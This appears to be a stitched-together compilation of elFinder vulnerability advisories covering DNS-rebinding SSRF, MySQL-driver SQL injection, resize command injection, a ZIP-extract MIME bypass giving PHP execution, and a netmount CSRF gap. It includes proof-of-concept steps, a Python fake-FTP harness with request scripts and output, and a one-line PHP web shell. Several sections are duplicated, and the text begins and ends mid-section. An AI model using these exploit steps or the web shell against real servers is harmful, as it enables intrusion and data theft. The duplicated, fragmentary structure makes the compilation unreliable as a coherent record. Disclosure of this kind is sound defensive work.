This performs another request using the original hostname without reusing the validated and pinned connection. It may therefore introduce an additional blind SSRF request, potentially even when the cURL download path is selected.

This additional request is not required for the attached non-blind fsock_get_contents() PoC. It should nevertheless be reviewed during remediation. Ideally, filename and response-header information should be collected from the already validated HTTP response instead of issuing a separate request.

Disclosure

Initial private report date: 24/07/2026

Reporter contact: Marco Lunardi - marcolunardi90@gmail.com

Summary

An authenticated SQL injection vulnerability in the elFinder MySQL volume driver (elFinderVolumeMySQL) allows any logged-in user, including users with read-only access to the affected volume, to inject SQL through a crafted target file hash. Successful exploitation can lead to unauthorized data disclosure and denial of service.

This vulnerability only affects installations configured to use the MySQL volume driver. Installations using the default LocalFileSystem driver are not affected.

Description

A vulnerability in elFinder's MySQL volume driver (elFinderVolumeMySQL) allows authenticated SQL injection through a crafted file hash passed via the target parameter.

The issue is caused by two behaviors working together:

1. File hashes are decoded without validating that the decoded value is a valid MySQL object identifier.
2. The decoded value is then used in MySQL driver queries, including cacheDir(), _joinPath(), _stat(), and _fopen().

Because the MySQL storage schema uses numeric id and parent_id values, an authenticated user can supply a crafted hash that alters the intended SQL query logic. Successful exploitation can lead to unauthorized data disclosure and denial of service. The extent of impact depends on the privileges granted to the configured MySQL account.

This vulnerability only affects installations configured to use the MySQL volume driver. Installations using the default LocalFileSystem driver are not affected.

Impact

An authenticated user, including a user with read-only access to the affected volume, can exploit this issue to:

• disclose data accessible to the configured MySQL account, including file contents stored by the driver and database metadata
• trigger denial of service through expensive or unexpectedly broad query results that can lead to excessive memory consumption

The severity of data exposure depends on the privileges granted to the configured MySQL account.

Severity

High
bg can be injected into shell command construction, leading to possible RCE in affected configurations.

Summary

elFinder contains a command injection vulnerability in the resize command.

The bg (background color) parameter is accepted from user input and passed through image resize/rotate processing. In configurations that use the ImageMagick CLI backend, this value is incorporated into shell command strings without sufficient escaping. An attacker able to invoke the resize command with a crafted bg value may achieve arbitrary command execution as the web server process user.

This issue affects configurations where:

• the resize command is enabled,
• image processing uses the ImageMagick CLI backend, and
• the vulnerable code paths are reachable.

Impact

An attacker may execute arbitrary OS commands with the privileges of the web server process.

Impact depends on server configuration, enabled commands, backend image library selection, and surrounding deployment controls.

Affected versions

Affected: all versions before 2.1.66 Patched: 2.1.67

Details

The vulnerable flow is:

1. The resize command accepts the bg parameter from the request.
2. The parameter is passed into volume resize handling.
3. In ImageMagick CLI code paths, the value is interpolated into shell command strings.
4. Because the value is not safely constrained and escaped, shell metacharacters may be injected.

The issue was addressed by:

• validating bg against a strict allowlist of supported color formats, and
• safely escaping the value before it is passed into CLI command construction.

Workarounds

Possible mitigations for users who cannot upgrade immediately:

• disable the resize command if not required,
• avoid using the ImageMagick CLI backend for image processing,
• restrict access to trusted users only.

Upgrading to the patched release is strongly recommended.

Credits

Thanks to Lin, WeiChi and Drew Webber for the responsible disclosure.

Studio 42 elFinder 2.1.64 is vulnerable to Incorrect Access Control. Copying files with an unauthorized extension between server directories allows an arbitrary attacker to expose secrets, perform RCE, etc.

Summary

elFinder provides uploadDeny and uploadAllow options in its connector configuration to restrict which MIME types may be uploaded. When uploadDeny includes text/x-php, direct upload of .php, .phtml, and .phar files is correctly blocked. However, the extract command (ZIP decompression) internally calls checkExtractItems(), which invokes mimetypeInternalDetect() directly without passing the result through mimeTypeNormalize(). Because phtml, phar, and similar PHP-executable extensions are absent from mime.types, they are not resolved to text/x-php at the detection stage, causing the MIME filter to be silently bypassed. An attacker who is permitted to upload ZIP archives can therefore extract PHP-executable files into the web-accessible files/ directory. If the server is configured to execute the affected extension (e.g., .phtml, .phar) as PHP — which is the case in common Apache and Nginx deployments — this results in Remote Code Execution.

Details

elFinder's MIME validation pipeline for direct uploads (upload command) is:

mimetype()
  └─ mimetypeInternalDetect()   // stage 1: extension → MIME via mime.types
  └─ mimeTypeNormalize()        // stage 2: apply staticMimeMap
       phtml:* → text/x-php
       phar:*  → text/x-php
       php5:*  → text/x-php
  └─ allowPutMime()             // blocked: text/x-php ∈ uploadDeny

The extract command (checkExtractItems() in elFinderVolumeDriver.class.php, line 7110) uses a shortened pipeline:

// line 7110 — stage 2 (mimeTypeNormalize) is never called
if ($chkMime
    && ($mimeByName = elFinderVolumeDriver::mimetypeInternalDetect($name))
    && !$this->allowPutMime($mimeByName)) {

Because phtml and phar are not present in mime.types, mimetypeInternalDetect() returns a generic type (e.g., application/octet-stream) for these extensions. Without mimeTypeNormalize(), the staticMimeMap entries that would map phtml:* → text/x-php are never applied, so allowPutMime() sees a non-blocked MIME and permits extraction.

Affected extensions confirmed: .phtml, .phar, .php5, .php3
Not bypassed: .php (present in mime.types, detected as text/x-php in stage 1)

PoC

Requirements:

• elFinder 2.1.69 deployed under Apache/Nginx (PHP-FPM or mod_php)
• Connector configured with uploadDeny = ['text/x-php'] and uploadAllow including application/zip
• files/ directory served under a public web path

Step 1 — Confirm direct upload is blocked Open elFinder in a browser and click the Upload button.
Select hello.phtml (content: <?php phpinfo(); ?>).
→ Upload is rejected with: "Upload file hello.phtml: File type not allowed (text/x-php)"

Step 2 — Upload a ZIP containing the payload Create bypass.zip containing hello.phtml.
Upload bypass.zip via the Upload button.
→ ZIP is accepted (MIME: application/zip ∈ uploadAllow).

Step 3 — Extract the ZIP Right-click bypass.zip in the file list → Extract files.
→ hello.phtml appears in the file list without any error.
→ File is now present at {files_dir}/hello.phtml on the server.

Step 4 — Execute the extracted PHP file

Navigate to:

http://<target>/elFinder/files/hello.phtml

→ Apache processes the file as PHP and renders the full phpinfo() output, confirming Remote Code Execution.

Impact

Any user with ZIP upload permission can bypass the uploadDeny MIME restriction, place PHP-executable files in a web-accessible directory, and achieve Remote Code Execution on the server.

Concrete impact:

• Arbitrary PHP code execution on the web server
• Full server environment disclosure via phpinfo() (paths, PHP version, loaded modules, environment variables)
• Potential access to server filesystem, database credentials, and internal network services
• Complete compromise of the web application if an attacker substitutes phpinfo() with a web shell (e.g., <?php system($_GET['cmd']); ?>)

Extensions confirmed executable on Apache (default config): phtml, phar, php5, php3

Recommended fix:

Apply mimeTypeNormalize() inside checkExtractItems() so that the full MIME pipeline is used consistently:

// elFinderVolumeDriver.class.php, line 7110
// Before (vulnerable):
$mimeByName = elFinderVolumeDriver::mimetypeInternalDetect($name)

// After (fixed):
$mimeByName = $this->mimeTypeNormalize(
    elFinderVolumeDriver::mimetypeInternalDetect($name),
    $name,
    pathinfo($name, PATHINFO_EXTENSION)
)

Summary

The PHP connector's CSRF gate protects many mutating commands, but it does not protect the netmount connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim's session and cause the server to initiate an outbound FTP connection without the X-elFinder-CSRF token that other state-changing commands require.

This was confirmed locally against Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, corresponding to the repository's documented stable release 2.1.69 / API revision 2.1.69.

Details

The connector has an explicit allowlist of commands that require CSRF validation in php/elFinderConnector.class.php:79-92. That list includes state-changing commands such as mkdir, mkfile, paste, put, rename, rm, upload, archive, extract, resize, and chmod, but it omits netmount. The enforcement point in php/elFinderConnector.class.php:376-381 calls validateCsrfToken() only when the command appears in that list.

netmount is a first-class connector command declared in php/elFinder.class.php:248-278, specifically php/elFinder.class.php:263, with attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments. Its implementation in php/elFinder.class.php:1560-1660 resolves the requested network driver, copies request arguments into a volume options array, calls the driver's netmountPrepare(), mounts the volume online, and persists successful network volume options in the session with saveNetVolumes() at php/elFinder.class.php:1642-1649.

The documented minimal installation path tells users to rename /php/connector.minimal.php-dist and load elFinder (README.md:105-120). That shipped minimal connector explicitly enables FTP network mounts at php/connector.minimal.php-dist:42-43:

// // Enable FTP connector netmount
elFinder::$netDrivers['ftp'] = 'FTP';

The FTP driver then uses request-controlled connection parameters. php/elFinderVolumeFTP.class.php:164-215 initializes the host, port, user, password, path, and netmount key, and php/elFinderVolumeFTP.class.php:264-327 calls ftp_connect() / ftp_ssl_connect(), ftp_login(), ftp_raw(), ftp_chdir(), ftp_pwd(), ftp_pasv(), FEAT, and MLST against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.

False-positive checks performed:

• mkdir without the CSRF header was rejected with HTTP 403 and csrfReload:true, proving the harness exercised the connector's CSRF gate.
• netmount without the same CSRF header succeeded with HTTP 200 and an added network-volume response.
• The fake FTP server observed an inbound connection and FTP command sequence from the PHP process.
• No custom application authentication, external service, public infrastructure, or destructive action was used.
• Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.

Candidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.

PoC

The following safe local reproduction uses only a disposable connector under /tmp, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to 127.0.0.1. It does not contact external systems.

1. From a clean checkout of Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, create a disposable harness:

mkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs
cat > /tmp/elfinder-csrf-poc-claude/www/connector.php <<'PHP'
<?php
error_reporting(E_ALL);
require '/path/to/elFinder/php/autoload.php';

elFinder::$netDrivers['ftp'] = 'FTP';

function access($attr, $path, $data, $volume, $isDir, $relpath) {
    $basename = basename($path);
    return $basename[0] === '.' && strlen($relpath) !== 1
        ? !($attr == 'read' || $attr == 'write')
        : null;
}

$opts = array(
    'roots' => array(
        array(
            'driver' => 'LocalFileSystem',
            'path' => __DIR__ . '/files/',
            'URL' => '/files/',
            'trashHash' => 't1_Lw',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
        array(
            'id' => '1',
            'driver' => 'Trash',
            'path' => __DIR__ . '/files/.trash/',
            'tmbURL' => '/files/.trash/.tmb/',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
    )
);

$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
PHP

2. Start this minimal fake FTP server as /tmp/elfinder-csrf-poc-claude/fake_ftp.py:

#!/usr/bin/env python3
import socket, sys
HOST = '127.0.0.1'
PORT = int(sys.argv[1])
LOG = sys.argv[2]
def log(line):
    with open(LOG, 'a', encoding='utf-8') as f:
        f.write(line + '\n')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(5)
    log(f'LISTEN {HOST}:{PORT}')
    while True:
        conn, addr = s.accept()
        with conn:
            log(f'CONNECT {addr[0]}:{addr[1]}')
            conn.sendall(b'220 fake ftp ready\r\n')
            while True:
                data = b''
                while not data.endswith(b'\n'):
                    chunk = conn.recv(1)
                    if not chunk:
                        log('CLOSE')
                        break
                    data += chunk
                if not data:
                    break
                line = data.decode('latin-1', errors='replace').strip()
                log('CMD ' + line)
                cmd = line.split(' ', 1)[0].upper()
                if cmd == 'USER': conn.sendall(b'331 password required\r\n')
                elif cmd == 'PASS': conn.sendall(b'230 login ok\r\n')
                elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\r\n')
                elif cmd == 'HELP': conn.sendall(b'214 fake help\r\n')
                elif cmd == 'CWD': conn.sendall(b'250 cwd ok\r\n')
                elif cmd == 'PWD': conn.sendall(b'257 "/"\r\n')
                elif cmd == 'FEAT': conn.sendall(b'211-Features\r\n MLST type*;size*;modify*;perm*;\r\n211 End\r\n')
                elif cmd == 'MLST': conn.sendall(b'250-Listing /\r\n type=dir;size=0;modify=20260101000000;perm=el; /\r\n250 End\r\n')
                elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\r\n')
                elif cmd == 'QUIT':
                    conn.sendall(b'221 bye\r\n')
                    break
                else: conn.sendall(b'200 ok\r\n')

3. Start the local services:

php -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www
python3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log

4. In another shell, run this control-and-positive test. It intentionally omits X-elFinder-CSRF from both the protected mkdir control request and the netmount request:

import json, urllib.parse, urllib.request, urllib.error, http.cookiejar
base = 'http://127.0.0.1:8765/connector.php'
log = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log'
open(log, 'w', encoding='utf-8').close()
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
def request(params, timeout=12):
    url = base + '?' + urllib.parse.urlencode(params)
    try:
        with opener.open(url, timeout=timeout) as resp:
            return resp.status, resp.read().decode('utf-8', errors='replace')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8', errors='replace')
status, body = request({'cmd':'open','init':'1','target':'l1_Lw'})
opened = json.loads(body)
target = opened.get('cwd', {}).get('hash', 'l1_Lw')
print('OPEN_STATUS=' + str(status))
print('OPEN_HAS_CSRF=' + str('"csrf"' in body))
status, body = request({'cmd':'mkdir','target':target,'name':'csrf-control-no-header'})
print('CONTROL_MKDIR_WITHOUT_CSRF_STATUS=' + str(status))
print('CONTROL_MKDIR_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:160])
status, body = request({'cmd':'netmount','protocol':'ftp','host':'127.0.0.1','port':'21210','path':'/','user':'anonymous','pass':''})
print('NETMOUNT_WITHOUT_CSRF_STATUS=' + str(status))
print('NETMOUNT_WITHOUT_CSRF_HAS_ADDED=' + str('"added"' in body))
print('NETMOUNT_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:260])
print('FTP_LOG=')
print(open(log, encoding='utf-8', errors='replace').read().strip())

Observed output from the final local re-run in this environment:

OPEN_STATUS=200
OPEN_HAS_CSRF=True
CONTROL_MKDIR_WITHOUT_CSRF_STATUS=403
CONTROL_MKDIR_WITHOUT_CSRF_BODY={"error":["errPerm","Invalid request. Please reload."],"csrfReload":true}
NETMOUNT_WITHOUT_CSRF_STATUS=200
NETMOUNT_WITHOUT_CSRF_HAS_ADDED=True
NETMOUNT_WITHOUT_CSRF_BODY={"added":[{"mime":"directory","size":0,"ts":1767225600,"read":1,"write":0,"locked":1,"hash":"fnm1_Lw","name":"anonymous@127.0.0.1","rootRev":"","options":{"path":"","url":"","tmbUrl":"self","disabled":[],"separator":"\/","copyOverwrite":1,"uploadOverwrite":1,
FTP_LOG=
CONNECT 127.0.0.1:37496
CMD USER anonymous
CMD PASS
CMD OPTS UTF8 ON
CMD HELP
CMD epsv4 off
CMD PASV
CMD CWD /
CMD PWD
CMD FEAT
CMD MLST /
CLOSE

The negative/control case is the mkdir request: without X-elFinder-CSRF, it returns HTTP 403 and csrfReload:true. The positive case is netmount: without X-elFinder-CSRF, it returns HTTP 200 with added and the fake FTP server logs the server-side FTP connection.

Cleanup:

# Stop the two local server processes, then remove the disposable harness.
rm -rf /tmp/elfinder-csrf-poc-claude

Impact

An attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for netmount. In the shipped minimal connector configuration, this lets the attacker:

• force the victim's elFinder session to persist an attacker-chosen FTP network volume;
• cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port;
• send attacker-supplied FTP username/password values to that endpoint; and
• expose the victim's later file-manager UI to the mounted remote volume.

The proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts netmount without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.

The impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing netmount CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim's authenticated session.

Suggested remediation

Require CSRF validation for netmount, including protocol=netunmount, before executing the command. The minimal fix is to add netmount to elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php.

Also consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.

Suggested regression tests:

• A request to cmd=netmount&protocol=ftp&host=127.0.0.1&port=<local-port> without X-elFinder-CSRF must return HTTP 403 and must not connect to the FTP listener.
• The same request with the valid token from cmd=open&init=1 should preserve intended behavior for authorized users.
• protocol=netunmount should also reject missing/invalid CSRF tokens.

Credits

• Thai Son Dinh from VinSOC Labs (R&D)
• Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

poc.zip

Summary

elFinder 2.1.69 is vulnerable to a Server-Side Request Forgery (SSRF) protection bypass when PHP cURL is unavailable and URL uploads use the fsock_get_contents() fallback.

An attacker who can submit a URL for server-side upload can use an attacker-controlled DNS hostname that initially resolves to an allowed public IP address and subsequently resolves to a loopback or private IP address.

The URL validation checks the first resolved IP, but fsock_get_contents() opens the actual connection using the original hostname. This causes a second DNS resolution and allows the connection to reach an address different from the one that was validated.

The response from the internal service is saved as an uploaded file and can be read through elFinder. This makes the demonstrated issue a non-blind SSRF.

The most accurate classification is:

• Vulnerability: SSRF protection bypass
• Exploitation technique: DNS rebinding
• Root cause: TOCTOU/double DNS resolution without IP pinning

Affected versions

Confirmed affected:

• elFinder 2.1.69, commit 8f2c3ffafcdd52cf4515f1eec172f4eee44552ad
• the current master branch inspected on 24 July 2026

The earliest affected version has not been determined.

Preconditions

The demonstrated readback path requires:

• PHP without the cURL extension (curl_exec() unavailable);
• access to the URL upload functionality;
• permission to upload a MIME type returned by the target service;
• network connectivity from the PHP process to the internal target;
• DNS resolution behavior compatible with low or zero TTL responses.

Authentication requirements depend on the application integrating the elFinder connector. The attached reproduction connector is intentionally minimal and unauthenticated.

Technical details

validate_address() resolves the supplied hostname with gethostbyname(), rejects loopback and private ranges, and stores the accepted address in $info['ip']:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2587-L2655

get_remote_contents() then selects cURL when available, otherwise fsock_get_contents():

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2673-L2689

The cURL implementation correctly pins the validated IP using CURLOPT_RESOLVE:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2709-L2736

However, the socket fallback ignores $info['ip'] and connects using $arr['host']:

$fp = fsockopen(
    $ssl . $arr['host'],
    $arr['port'],
    $errno,
    $errstr,
    $connect_timeout
);

Relevant code:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2762-L2866

Consequently, the address checked by validate_address() is not necessarily the address used by the socket connection.

The same problem is present after redirects: the redirect URL is validated, but the recursive socket request again connects using the hostname rather than the validated IP.

Proof of concept

A Docker-based reproduction is attached as poc.zip.

The laboratory:

• downloads the official elFinder 2.1.69 release during the build;
• verifies that the package version is 2.1.69;
• verifies that curl_exec() is unavailable;
• does not modify the elFinder core;
• runs a deterministic DNS server and an HTTP service bound only to loopback.

Build and run:

docker build -t elfinder-ssrf-repro poc
docker run --rm -p 127.0.0.1:8081:8081 elfinder-ssrf-repro

Open:

http://127.0.0.1:8081/poc/index.html

In the elFinder interface:

1. Select "Upload".
2. Paste the following URL:

http://rebind.test:9001/secret.txt

3. Wait for the upload to complete.
4. Open the resulting secret.txt file.

Observed content:

INTERNAL_SECRET_MANUAL

The PoC DNS server responds as follows:

first A resolution       -> 203.0.113.10
subsequent A resolutions -> 127.0.0.1

Expected logs include:

DNS rebind.test type=1 answer=203.0.113.10 count=1
DNS rebind.test type=1 answer=127.0.0.1 count=2
GET /secret.txt

203.0.113.10 is used only as a deterministic laboratory address that passes the current private-address checks. The actual connection reaches 127.0.0.1:9001.

A redirect variant is also included:

http://rebind.test:9001/redirect-secret

It produces the same readable internal content.

Security impact

An attacker may cause the elFinder server to issue HTTP GET requests to services reachable from the PHP process, including:

• loopback services;
• private network services;
• link-local services where reachable;
• internal administrative or application endpoints.

Because the response body is saved and exposed through elFinder, sensitive internal information may be disclosed.

The demonstrated primitive is limited to HTTP GET requests and does not provide arbitrary request methods, bodies, or headers. Integrity and availability impact would depend on the behavior of reachable internal endpoints and are not claimed by this PoC.

Suggested CVSS

For an exposed connector matching the attached PoC:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Base score: 8.6 High.

This assumes:

• no authentication is required by the connector;
• the internal service represents a separate security scope;
• disclosure may include highly sensitive internal data.

If authenticated user access is considered an inherent prerequisite, PR:L would result in a score of 7.7 High.

Suggested remediation

The socket connection should use the IP address returned by validate_address() rather than resolving the hostname again.

For HTTPS, the original hostname should still be used for:

• the HTTP Host header;
• TLS SNI;
• certificate hostname validation.

This may require replacing fsockopen() with a connection mechanism that supports connecting to the validated IP while explicitly configuring the TLS peer name.

Every redirect destination should be independently validated and its validated IP pinned to that specific connection.

Revalidating the hostname immediately before connecting is not sufficient because it would still leave a validation-to-connection DNS resolution gap.

As a temporary mitigation, URL uploads could be rejected when cURL is unavailable, or deployments could configure urlUploadFilter to reject URL uploads.

Additional observation

After a successful URL fetch, the upload path calls:

get_headers($url, true)

Relevant code:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L3356-L3374

This performs another request using the original hostname without reusing the validated and pinned connection. It may therefore introduce an additional blind SSRF request, potentially even when the cURL download path is selected.

This additional request is not required for the attached non-blind fsock_get_contents() PoC. It should nevertheless be reviewed during remediation. Ideally, filename and response-header information should be collected from the already validated HTTP response instead of issuing a separate request.

Disclosure

Initial private report date: 24/07/2026

Reporter contact: Marco Lunardi - marcolunardi90@gmail.com

Summary

An authenticated SQL injection vulnerability in the elFinder MySQL volume driver (elFinderVolumeMySQL) allows any logged-in user, including users with read-only access to the affected volume, to inject SQL through a crafted target file hash. Successful exploitation can lead to unauthorized data disclosure and denial of service.

This vulnerability only affects installations configured to use the MySQL volume driver. Installations using the default LocalFileSystem driver are not affected.

Description

A vulnerability in elFinder's MySQL volume driver (elFinderVolumeMySQL) allows authenticated SQL injection through a crafted file hash passed via the target parameter.

The issue is caused by two behaviors working together:

1. File hashes are decoded without validating that the decoded value is a valid MySQL object identifier.
2. The decoded value is then used in MySQL driver queries, including cacheDir(), _joinPath(), _stat(), and _fopen().

Because the MySQL storage schema uses numeric id and parent_id values, an authenticated user can supply a crafted hash that alters the intended SQL query logic. Successful exploitation can lead to unauthorized data disclosure and denial of service. The extent of impact depends on the privileges granted to the configured MySQL account.

This vulnerability only affects installations configured to use the MySQL volume driver. Installations using the default LocalFileSystem driver are not affected.

Impact

An authenticated user, including a user with read-only access to the affected volume, can exploit this issue to:

• disclose data accessible to the configured MySQL account, including file contents stored by the driver and database metadata
• trigger denial of service through expensive or unexpectedly broad query results that can lead to excessive memory consumption

The severity of data exposure depends on the privileges granted to the configured MySQL account.

Severity

High
bg can be injected into shell command construction, leading to possible RCE in affected configurations.

Summary

elFinder contains a command injection vulnerability in the resize command.

The bg (background color) parameter is accepted from user input and passed through image resize/rotate processing. In configurations that use the ImageMagick CLI backend, this value is incorporated into shell command strings without sufficient escaping. An attacker able to invoke the resize command with a crafted bg value may achieve arbitrary command execution as the web server process user.

This issue affects configurations where:

• the resize command is enabled,
• image processing uses the ImageMagick CLI backend, and
• the vulnerable code paths are reachable.

Impact

An attacker may execute arbitrary OS commands with the privileges of the web server process.

Impact depends on server configuration, enabled commands, backend image library selection, and surrounding deployment controls.

Affected versions

Affected: all versions before 2.1.66 Patched: 2.1.67

Details

The vulnerable flow is:

1. The resize command accepts the bg parameter from the request.
2. The parameter is passed into volume resize handling.
3. In ImageMagick CLI code paths, the value is interpolated into shell command strings.
4. Because the value is not safely constrained and escaped, shell metacharacters may be injected.

The issue was addressed by:

• validating bg against a strict allowlist of supported color formats, and
• safely escaping the value before it is passed into CLI command construction.

Workarounds

Possible mitigations for users who cannot upgrade immediately:

• disable the resize command if not required,
• avoid using the ImageMagick CLI backend for image processing,
• restrict access to trusted users only.

Upgrading to the patched release is strongly recommended.

Credits

Thanks to Lin, WeiChi and Drew Webber for the responsible disclosure.

Studio 42 elFinder 2.1.64 is vulnerable to Incorrect Access Control. Copying files with an unauthorized extension between server directories allows an arbitrary attacker to expose secrets, perform RCE, etc.

Summary

elFinder provides uploadDeny and uploadAllow options in its connector configuration to restrict which MIME types may be uploaded. When uploadDeny includes text/x-php, direct upload of .php, .phtml, and .phar files is correctly blocked. However, the extract command (ZIP decompression) internally calls checkExtractItems(), which invokes mimetypeInternalDetect() directly without passing the result through mimeTypeNormalize(). Because phtml, phar, and similar PHP-executable extensions are absent from mime.types, they are not resolved to text/x-php at the detection stage, causing the MIME filter to be silently bypassed. An attacker who is permitted to upload ZIP archives can therefore extract PHP-executable files into the web-accessible files/ directory. If the server is configured to execute the affected extension (e.g., .phtml, .phar) as PHP — which is the case in common Apache and Nginx deployments — this results in Remote Code Execution.

Details

elFinder's MIME validation pipeline for direct uploads (upload command) is:

mimetype()
  └─ mimetypeInternalDetect()   // stage 1: extension → MIME via mime.types
  └─ mimeTypeNormalize()        // stage 2: apply staticMimeMap
       phtml:* → text/x-php
       phar:*  → text/x-php
       php5:*  → text/x-php
  └─ allowPutMime()             // blocked: text/x-php ∈ uploadDeny

The extract command (checkExtractItems() in elFinderVolumeDriver.class.php, line 7110) uses a shortened pipeline:

// line 7110 — stage 2 (mimeTypeNormalize) is never called
if ($chkMime
    && ($mimeByName = elFinderVolumeDriver::mimetypeInternalDetect($name))
    && !$this->allowPutMime($mimeByName)) {

Because phtml and phar are not present in mime.types, mimetypeInternalDetect() returns a generic type (e.g., application/octet-stream) for these extensions. Without mimeTypeNormalize(), the staticMimeMap entries that would map phtml:* → text/x-php are never applied, so allowPutMime() sees a non-blocked MIME and permits extraction.

Affected extensions confirmed: .phtml, .phar, .php5, .php3
Not bypassed: .php (present in mime.types, detected as text/x-php in stage 1)

PoC

Requirements:

• elFinder 2.1.69 deployed under Apache/Nginx (PHP-FPM or mod_php)
• Connector configured with uploadDeny = ['text/x-php'] and uploadAllow including application/zip
• files/ directory served under a public web path

Step 1 — Confirm direct upload is blocked Open elFinder in a browser and click the Upload button.
Select hello.phtml (content: <?php phpinfo(); ?>).
→ Upload is rejected with: "Upload file hello.phtml: File type not allowed (text/x-php)"

Step 2 — Upload a ZIP containing the payload Create bypass.zip containing hello.phtml.
Upload bypass.zip via the Upload button.
→ ZIP is accepted (MIME: application/zip ∈ uploadAllow).

Step 3 — Extract the ZIP Right-click bypass.zip in the file list → Extract files.
→ hello.phtml appears in the file list without any error.
→ File is now present at {files_dir}/hello.phtml on the server.

Step 4 — Execute the extracted PHP file

Navigate to:

http://<target>/elFinder/files/hello.phtml

→ Apache processes the file as PHP and renders the full phpinfo() output, confirming Remote Code Execution.

Impact

Any user with ZIP upload permission can bypass the uploadDeny MIME restriction, place PHP-executable files in a web-accessible directory, and achieve Remote Code Execution on the server.

Concrete impact:

• Arbitrary PHP code execution on the web server
• Full server environment disclosure via phpinfo() (paths, PHP version, loaded modules, environment variables)
• Potential access to server filesystem, database credentials, and internal network services
• Complete compromise of the web application if an attacker substitutes phpinfo() with a web shell (e.g., <?php system($_GET['cmd']); ?>)

Extensions confirmed executable on Apache (default config): phtml, phar, php5, php3

Recommended fix:

Apply mimeTypeNormalize() inside checkExtractItems() so that the full MIME pipeline is used consistently:

// elFinderVolumeDriver.class.php, line 7110
// Before (vulnerable):
$mimeByName = elFinderVolumeDriver::mimetypeInternalDetect($name)

// After (fixed):
$mimeByName = $this->mimeTypeNormalize(
    elFinderVolumeDriver::mimetypeInternalDetect($name),
    $name,
    pathinfo($name, PATHINFO_EXTENSION)
)

Summary

The PHP connector's CSRF gate protects many mutating commands, but it does not protect the netmount connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim's session and cause the server to initiate an outbound FTP connection without the X-elFinder-CSRF token that other state-changing commands require.

This was confirmed locally against Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, corresponding to the repository's documented stable release 2.1.69 / API revision 2.1.69.

Details

The connector has an explicit allowlist of commands that require CSRF validation in php/elFinderConnector.class.php:79-92. That list includes state-changing commands such as mkdir, mkfile, paste, put, rename, rm, upload, archive, extract, resize, and chmod, but it omits netmount. The enforcement point in php/elFinderConnector.class.php:376-381 calls validateCsrfToken() only when the command appears in that list.

netmount is a first-class connector command declared in php/elFinder.class.php:248-278, specifically php/elFinder.class.php:263, with attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments. Its implementation in php/elFinder.class.php:1560-1660 resolves the requested network driver, copies request arguments into a volume options array, calls the driver's netmountPrepare(), mounts the volume online, and persists successful network volume options in the session with saveNetVolumes() at php/elFinder.class.php:1642-1649.

The documented minimal installation path tells users to rename /php/connector.minimal.php-dist and load elFinder (README.md:105-120). That shipped minimal connector explicitly enables FTP network mounts at php/connector.minimal.php-dist:42-43:

// // Enable FTP connector netmount
elFinder::$netDrivers['ftp'] = 'FTP';

The FTP driver then uses request-controlled connection parameters. php/elFinderVolumeFTP.class.php:164-215 initializes the host, port, user, password, path, and netmount key, and php/elFinderVolumeFTP.class.php:264-327 calls ftp_connect() / ftp_ssl_connect(), ftp_login(), ftp_raw(), ftp_chdir(), ftp_pwd(), ftp_pasv(), FEAT, and MLST against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.

False-positive checks performed:

